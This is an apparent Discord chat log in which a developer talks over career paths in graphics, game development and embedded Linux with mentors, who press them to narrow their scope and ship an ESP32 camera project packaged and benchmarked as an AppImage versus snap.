actually im following pretty close to this pipeline. I am half way through my Linear algebra university course, I learned C++ and Python so far still need to work on C# especially .NET afterwards, I am grinding through Leetcode pretty hard to get good within 3-4 months aiming at 200-300 mediums and 30-50 hards, and of course openGL. I've done up to Textures, going to push for learning Lighting by next month possibly

stone urchin
slate sand
# stone urchin ya thanks how far are you into it

So I took the math when I was Uni as electives (fun fact I was a polisci major at the time) and I enjoy studying particularly linear algebra and Calc for fun so I would say I have the math covered for the most part. I’ve been following some tutorials that recreate a Doom / wolfenstein raycaster with glfw (an adjustment I had to do on my part to keep things more updated and cross compatible as a lot tutorials out there are painfully outdated like using glut or otherwise a renderer I don’t care for) that make use of pretty pure OpenGL (with glfw mostly for the context/windowing) with the end goal being very basic recreation of a doom like game and eventually a raycaster with possibility of putting my Nvidia cards to work with CUDA (played around with it before but I’ll mostly save it and Nsight when I’m deeper into C++).

I’m not quite at hello teapot in terms of rendering but I feel good with basic vertices (especially triangles lol)

#

Messed around with SDL + GLFW enough to feel pretty comfortable/have a basic gist of what’s going on and easily picking up another or quickly learning it.

#

It’s been a hot minute since I really C++ and especially C#. C++ ability would transfer really nicely in terms of overall job security and is either what builds so many engines out there or at least supports it but I also avoided it for awhile as I really am a C dev at heart

#

And C#…eh. I’m not letting myself fret too much over mastering it unless I choose to really get into using Unity or Godot, but even Godot works fine with C++ and I’m pretty sure even has wrappers for C.

#

Been going through some C++ tutorials and am so far relieved that despite not really developing with it for awhile that the bit I rushed to learn for a job still stuck (I particularly needed to learn templates and generics but overall it’s not so much oh god I have no idea what’s going on but oh god I’d be really uncomfortable without autocomplete)

#

That, and a lot of Cpp tutorials look daunting at first until to start them and find it have a large chunk assuming the person has no clue what’s going on/ or even is their first programming language.

#

For 1.3, I wasn’t sure what exactly what to study so I went with asking gpt and it recommend a few I recognize:

Essential Algorithms and Data Structures for Game and Game Engine dev

Algorithms:
1. Pathfinding algorithms (e.g., A*, Dijkstra's, Breadth-First Search, Depth-First Search)
2. Physics simulation algorithms (e.g., Verlet integration, Euler integration, collision detection and response)
3. Artificial Intelligence algorithms (e.g., Minimax, Alpha-Beta pruning, Monte Carlo Tree Search, behavior trees, finite state machines)
4. Procedural content generation algorithms (e.g., Perlin noise, Simplex noise, Cellular Automata, Voronoi diagrams)
5. Sorting algorithms (e.g., Quick sort, Merge sort, Radix sort)
6. Compression algorithms (e.g., LZ77, Huffman coding)
7. Spatial partitioning algorithms (e.g., Binary Space Partitioning, Quadtree, Octree, k-d tree)
Data Structures:
1. Arrays and Dynamic arrays (e.g., Vectors, ArrayLists)
2. Linked Lists (e.g., Singly Linked Lists, Doubly Linked Lists, Circular Linked Lists)
3. Hash Tables (e.g., unordered_map in C++, Dictionary in C#)
4. Trees (e.g., Binary Trees, B-Trees, R-Trees)
5. Graphs (e.g., adjacency list, adjacency matrix)
6. Stacks and Queues (e.g., Deque)
7. Priority Queues (e.g., Binary Heap, Fibonacci Heap)
8. Sets and Maps (e.g., TreeSet, TreeMap, HashSet, HashMap)
9. Sparse Data Structures (e.g., Sparse Matrices, Sparse Arrays)
slate sand
#

In the mean time or when I’m either bored, stuck, or have less time for whatever reason I’ve really enjoyed Cem Yuksel’s Graphic courses

#

I also think that making an engine from scratch using C from PRDeving and C++ from Harold Serrano have helped immensely

#

I tend to really be uneasy when I don’t know how things work at their most fundamental level, and for awhile I was like “I get what light is. I know C’s headers…but how does the assembly OS or whatever actually produce a color on our monitor?” It sounds really silly now that it didn’t click sooner but Cem’s videos really helped answer stuff like that in a really clear and intuitive way which has really helped my overall problem solving as a dev too. Seeing as you’re in school still, you might find it especially useful! @stone urchin

stone urchin
#

Oh wow great write up

#

IDK about game engine dev, I've read it is mostly unnecessary but fun to build and learn anyways. Once I'm through with the openGL book i feel like ill be in a spot to decide if i want to build one but it's really more like u have to develop a few games and probably also get good at Unity/C# so you know what a good game engine does and then try to abstract the features you use the most into the engine

#

So I've been looking at my path being learn openGL stuff --> learn ray tracing --> build C++ games --> build Unity games --> attempt game engines. There's so much in that process it could easily take a year though

slate sand
#

Man, watching these tutorials is reassuring. I knew much more than I realized

slate sand
#

I mean that in a comforting way btw, as I myself can get a bit overwhelmed by documentation and feature scope (and creep) but once I get into the weeds of stuff I find I learn a lot more than even books or videos could of taught me. Also my own reassuring justification for using VSCode as the autocompletes and codes suggestions typically pull from the docs but also because it can quickly remind me even things I’ve created and defined (also gets you into the habit of writing good comments and docs as that’s what the VSCode pulls from for your code)

#

I’ve made the decision today to go with Unreal for “choose a popular game engine to learn”.

slate sand
#
Salary.com

Apply for the Job in Entry-Level Visualization & Game Developer at Huntsville, AL. View the job description, responsibilities and qualifications for this position. Research salary, company info, career paths, and top skills for Entry-Level Visualization & Game Developer

#

Tempted to apply

stone urchin
#

Ah torch tech

#

i remember a guy on here offering to recommend me for torch. It's a good company and job

slate sand
#

Nice

#

I think I’ll say something like: Hello, my name is [Your Name], and I am calling about the Visualization and Game Developer position at Torch Technologies. I hold bachelor's degrees in Economics and Computer Science and have experience in a variety of programming languages, including C, Java, C++, JavaScript, Swift, and Python. I am extremely passionate about game and game engine development and have been honing my skills with Unreal Engine, CUDA, OpenGL, and other related technologies. I believe my diverse background and commitment to continuous learning make me an ideal candidate for this role, as I am eager to contribute to the design, development, and maintenance of cutting-edge visualization tools and simulation systems at your company.

#

I called

slate sand
#

This be looks interesting. One thing I’m learning is I need to work knowing Vulkan

stone urchin
#

it even says you can join if u have a strong swe background and learn on the job

slate sand
#

Nice

stone urchin
near fog
#

thats the way to do it

slate sand
slate sand
#

So I’d been putting off learning Unreal for a bit, albeit mostly because I was distracted by a ray casting tutorial involving C, OpenGL (albeit I refuse to legit go all the way back to using 1.1 levels of depreciation for the sake of the tutorial while ironically using macOS), and GLFW which gave me my first graphics api identity crisis

#

But I’ve somewhat resolved that through of combination of taking comfort in

  1. the target platform will have been decided long before I arrive on a project

  2. that despite my braveheart levels of ferocity to having cross compatibility and performance in my work, that any shared feelings will be met by either
    A) having additional devs dedicated to implementing additional APIs (low level or not even I can’t bring myself to learning Metal, and now it’s almost on principle not to even bother caving into ever supporting it given Apple’s hostility in the graphic programming world) or
    B) giving me additional time to implement said API in lieu of help

#

That said, I am half expecting given some of the more persistent toxic practices that the industry is stereotyped by that I’ll be at some point expected to implement more support with less people and no extra time

#

Some additional research via community forums and admittedly some ChatGpt, that I’m comfortable moving forward focused on Unreal + Cpp + Vulkan

#

Oh! But anyways, I came here to say that while it’s been some time since I actually sat down with the intention of learning let alone using Unreal, it’s much easier than I expected/heard which makes me a little more confident in the path forward

#

I will say that as I’ve learned more and more, from embedded development to kernels, to making my own game engine, overall geeking out over C, and now more of the innards of various graphics API (OpenGL is surprisingly high level) that a lot of my previously felt imposter syndrome was…overblown:

#

That and it’s funny to see from the Twitter source code, other people’s code, messing around with ChatGPT (I’m 80% confident my career is safe given today alone having to explain very basic stuff to it, but great tool especially if you either ask it to write it’s own prompt given your input and in terms of code, giving it the documentation to go off of) that…

#

There’s a lot. A LOT. Of bad code out there…and bad programmers. But more importantly lots of places to improve upon

#

That said I still don’t consider myself great or anything, but rather not as behind or bad as did before.

slate sand
#

Tho, I’m still mad at myself since at my last interview when they asked for the basic principles of OOP I assumed they (and admittedly I wanted to seem smart) wanted more than just literally

“Abstraction, inheritance, encapsulation, and polymorphism” with a short example or further explanation

so I instead went this whole spiel on focused on it handling state, the pros and cons of it in the overall lifespan of program, the process of determining if the circumstances and overall nature of the problem intrinsically called for it to be used overall other paradigms, and overall treated it more as a philosophical question.

#

Never answer more than they and don’t be afraid blend an answer with a call for clarification

#

I guess

stone urchin
#

i even took a whole class on it in university and heard it many times but when i interviewed i hadnt read over it in months and couldn't list it

wheat abyss
slate sand
#

Originally I was trying to figure out something that was embedded/low-level + gaming related, and done in Linux.

One potential candidate is VR/AR.

Others have suggested that perhaps what I should look at instead Physics simulation dev. With a gaming subset being 3D Real-time game dev.

#

Additionally, while not quite embedded, there are components of cybersecurity that utilize C devs to develop low-level security

slate sand
#

Man why do so many places reach out to me to be a full stack 😭

slate sand
#

@wheat abyss would you mind telling me a little bit more about what you were thinking?

wheat abyss
#

I'd just look for job descriptions on Indeed that fits what you've got above

#

Post them and work backwards.

slate sand
#

Ok

viral wyvern
#

you can do embedded security

#

or linux kernel security

#

or linux kernel dev

#

or a malware researcher

wheat abyss
#

@slate sand did you follow up with this?

slate sand
#

Oh, sorry I didn't see it. Sorry and thanks @viral wyvern

slate sand
slate sand
slate sand
slate sand
# viral wyvern or a malware researcher

Would I need to go back to school for this? I know at @summer flicker mentioned that there's a need for strong C devs in the more low level, "harder" side of CSec

#

Thanks everyone! @viral wyvern really the specifics. My word bank was probs lacking and this might help expand my search

#

I'll get better at this too.

#

Oh ok, that's good. I had buddy that basically got me an in with an pen testing company but I figured I'd need a totes different background and dipped

#

No worries and thanks

wheat abyss
#

I think you're very all over the place kinda

#

Because those are lots of exciting highly technical fields.

#

But quite different

slate sand
wheat abyss
#

IMO genuinely just find companies and post their job descriptions

#

And that'll give you information and some stability for the next step

slate sand
wheat abyss
#

Which is figuring out which of your 20 Arduino and Linux projects maps to what you want to do.

slate sand
#

It's got a booklet of projects

#

And I have one Risky designed for me

wheat abyss
#

You've done a ton of stuff.

#

Now is the point for steadily gathering information, making concrete written down plans

#

And turning what you've done into a job.

#

But you gotta focus to get the legwork done though.

slate sand
wheat abyss
#

Which is why I wanted you to post the JDs.

slate sand
#

Collabra:
https://jobs.lever.co/collabora/6ca2eb05-7e80-4d80-ab70-ecb8f79fb25a/apply?lever-source=LinkedIn

Knowledge of open source development methodologies and open source communities such as Debian and/or Yoco

Expertise in Flatpak run-times and integration in Linux distros

Any track record of experience with direct contributions in the GNU/Linux distributions packaging

Knowledge of essential libraries and services such as D-Bus and systemd

Exposure to GitLab CI, Open Build Service (OBS) and OSTree

Familiarity with one or more of Collabora's market verticals

BS/BA or experience in the role of Engineer

wheat abyss
#

Because if you do the legwork and share it with people, it's very obvious when you slack.

slate sand
#

True

#

Part of the issue too is a combination of like imposter syndrome and thinking what I want to do as not being out there. But simply search prove that there is

#

I'm also working on getting some emotional shit together

#

Not excuses, but challenges and things to work on

#

@wheat abyss thanks, you've given me some ideas on how and what to set my goals and broaden my search

#

I'm still at the gym rn but when I get back I'll take some to sit down and compile (hehe) all this

slate sand
#

Guys I did a thing! I got off my butt and got started on Hired_. I really like their must have, liked and absolutely not

wheat abyss
#

You did what?

slate sand
#

That I think really helps me communicate better with potential employers and layout.

wheat abyss
#

Right.

That's not what I asked you to do, or even close to it, but it's something.

#

Embedded and systems, that's where the good developers go.

You gotta be good overall.

#

Do everything in your life as well as you can.

slate sand
#

I have been posting jobs desc. In my notes. Should I post them in text or photo format (like a screenshot)

wheat abyss
#

Screenshot is fine. Goal is getting you thinking and researching about these companies.

wheat abyss
#

Mods hate cat pictures confirmed.

slate sand
#

Why lol

wheat abyss
#

You can't start running your race.

#

Until you know where the finish line is.

slate sand
#

I have summ'd that one yet which I intend to do

#

Cat.png

#

👀

wheat abyss
#

I think you'd walk into the first one. The second one is a lead engineer in a cross functional team and you should avoid.

#

Do you have one project on Github that deals with the various containerisation thingos like flatpak etc in Linux?

slate sand
wheat abyss
#

Now you've gathered some info

#

What do you think you should do?

slate sand
#

make something that utilizes the list skills

wheat abyss
#

Make something quickly. Kinda wanna take advantage of the current job market

#

Just hustle I'd say, hustle and keep focused.

slate sand
#

Right

#

I'll just need to figure out so I can stay focused

wheat abyss
#

The way to figure it out is to create a plan.

#

Post the plan here

#

and get it ripped to shreds and improved.

#

The point is to start investing the hard yards and making concrete progress

slate sand
#

@wheat abyss this isn't the plan (but could be) and was devised by @main tangle I think when I asked for something like that

main tangle
#

Hey look that's me Risky

slate sand
#

Hi!

#

Thanks again for that

main tangle
#

Not a problem, always happy to help

#

Just you are aware embedded work is two fields. Microcontrollers and embedded Linux.

That is a loose rule, but one I've seen his pretty true.

Is suggest picking one of those (microcontroller or embedded Linux) and focus on it

slate sand
#

Yeah that's I've been seeing. I think I'd prefer embedded Linux

#

Maybe I should start here?:
https://youtu.be/9vsu67uMcko

Linux is a powerful operating system that can be compiled for a number of platforms and architectures. One of the biggest draws is its ability to be customized for an application. Tools like Buildroot, OpenWRT, and Yocto Project help us create custom Linux distributions for embedded systems.

In this video series, we will explore Buildroot and t...

▶ Play video
slate sand
#

Or maybe something LFS for a microcontroller?

wheat abyss
#

Whatever you want.

#

I like the idea of doing app images, the exact thing that job description asked for.

#

But you do you

misty holly
#

Here's a suggestion out of left field.

#

Meta Production Engineering.

#

If you have internal Linux knowledge, you should be able to pass the interviews. It seems like it's a dev-ops type role with a focus on Linux but idk what the day to day actually is because I haven't started yet

slate sand
slate sand
wheat abyss
#

You do a lot of talking about fancy technologies, not a lot of actually making useful stuff in them.

slate sand
#

Yes! Painfully so

wheat abyss
#

Do the thing, not talk about the thing.

wheat abyss
#

Anyway, decide on something, show the plan, post it here, commit then do it.

slate sand
#

Ok, well I recently bought a ESP32. I have a module kit/pack with a bunch of different modules likes cameras and sensors.

Maybe I could make an AppImage of a package that lets you do a sort of transformation or analysis on the image taken from the ESP32 and it's camera?

#

ESP32 has wifi so I could also do something it a mini security camera that updates every X unit of time that can be decided by the user.

#

Would that work?

wheat abyss
#

Yes.

slate sand
#

Ok

#

I'll do that.

slate sand
#

I'll treat it like homework

#

Which is what I've been kind of looking for

#

It could be used for a game too. But MVP, first the other plan

wheat abyss
#

Yes. MVP is the way.

#

The JD asked for measuring appimage performance etc.

slate sand
wheat abyss
#

ship demo on GitHub plz

#

I'm actually pretty interested in non-OCI container performance

neat basalt
# slate sand Oh, maybe I can do that with multiple types of deployments, package src Flatpak ...

Just start doing the thing. It looks like you have enough project ideas now. For side projects, I think it’s a mistake spending too much time trying to endlessly do research to find the perfect project. Just start coding something up. Getting the experience of making something is the valuable part. You won’t get any job interviews if you say “I have many side projects ideas, but no code to show”

slate sand
#

Alongside actually making stuff, do you think I should consider also getting a cert from somewhere like Linux Professionals Insitute?

#

Looking around more I definitely think I should incorporate Yocto and OpenWRT where I can. My plan is to still do the camera module with the esp32 + Appimage, but then I can probably make it work on OpenWRT and maybe do a similar/same build but using Yocto

#

Turns out I didn't have a camera module at all but I ordered one

#

I might need to emulate or use Ubuntu or UbuntuCore for this instead of Gentoo tho 😞

#

The Ubuntu person told me to find a HR person on LinkedIn but haven't found someone yet

slate sand
#

Ok so after getting some missing modules, more modules, going to a wedding, I'm mostly started now. Took a lot time figuring out getting the toolchain and esp-idf to work on my main rig (Gentoo) which didn't really want to work so now im mostly trying it through a kvm+qemu setup with Ubuntu

#

Tried platformio too but it was more or less giving me the same issues. Ubuntu might also be useful as I've looked into Canonicals opportunities

#

Played around with getting it to work with venv but that seemed like more work than it's worth

slate sand
#

Scratch that

#

I bit the bullet and installed Arduino

#

And I think hope installed esp-idf via vscode while in the venv virtual env might work

slate sand
#

It did! We're in business!

wheat abyss
#

💪

slate sand
#

ibapps39 is my professional email + git

#

lowkey was tempted to go wtfpl

wheat abyss
#

I'm disappointed to find out masked superhero ibrown's real identity is actually I. Brown.

slate sand
#

Lol

#

I'm sorry

wheat abyss
#

Where's the Readme though?

#

And the snap vs appimage bench

slate sand
#

Some relationship stuffed happens on thur so I'm not exactly as done as I'd like but plan on doing as much as I can today

wheat abyss
#

Just remember the most important part.

Think of the money, fame and fortune you're doing this for.

slate sand
#

Like, should I assume the ESP32 is using freertos or some other OS?

#

I might just assume the user has a setup where they have an assigned ip address and/or have script that either lets the user input the USB number or try and detect where a ESP32 is plugged in

#

Wait a min, I think I've got it now

#

I think I was focused on the wrong thing

#

I'm focused not on the OS of the esp32c but manipulating the data from it

#

That makes this a lot simpler

#

I was over complicating this a lot

#

I also just bought the raspberry pi 4 8gb

#

I would love to build something like my own handheld Linux pc

#

Especially since the stuff I watched on game consoles being built and designed is what made so much conflict in me about being a game dev or embedded

#

The idea of that really feels like an itch scratched

#

Seriously this feels really eye opening

#

I won't completely write off this project but the raspberry pi feels very motivating and more in the direction I want to work on

#

But something more in a pad form. Maybe I should get a raspberry pi touch screen case?

slate sand
#

For the the esp32 package, would GTK3 be an ok option?

#

Also @wheat abyss how have you used the raspberry pi

slate sand
wheat abyss
#

Very differently to how you'll use it

#

I'm flashing binary on there

#

Not the same

#

Remember this project was about benchmarking appimage vs snap

#

So I think K.I.S.S.

#

Benchmark the appimage and snap on Raspberry Pi's Unix installation. That's it.

#

Then go from there.

#

That gives you a concrete, finished milestone, for your resume.

After your concrete milestone of "appimage is xxx milliseconds snap is yyy milliseconds" which you need to get a job, find your next project.

#

You can't put unfinished projects on your resume.

slate sand
#

Yep

slate sand
slate sand
#

Today I'm actually able to get something sort of down. Working on making the GTK front end, so that I have something to actually benchmark

wheat abyss
#

Have you read the book deep work by Cal Newport?

#

I find with technical work, especially because there are so many details with the compiler, Linker, make file

#

It's really impossible to do work outside a 4 hour block minimum.

wheat abyss
#

Keep focusing and improving at focusing.

#

Reduce Scope, Increase Quality.

#

Reduce Scope, Increase Quality.

#

Reduce Scope, Increase Quality.

#

Reduce Scope, Increase Quality.

#

Additional Features Always Cost Quality.

#

Quality And Craftsmanship Comes From Doing 1 Single Thing Extremely Well.

slate sand
#

o7

wheat abyss
#

Where commits?

slate sand
#

Sick, back in commission now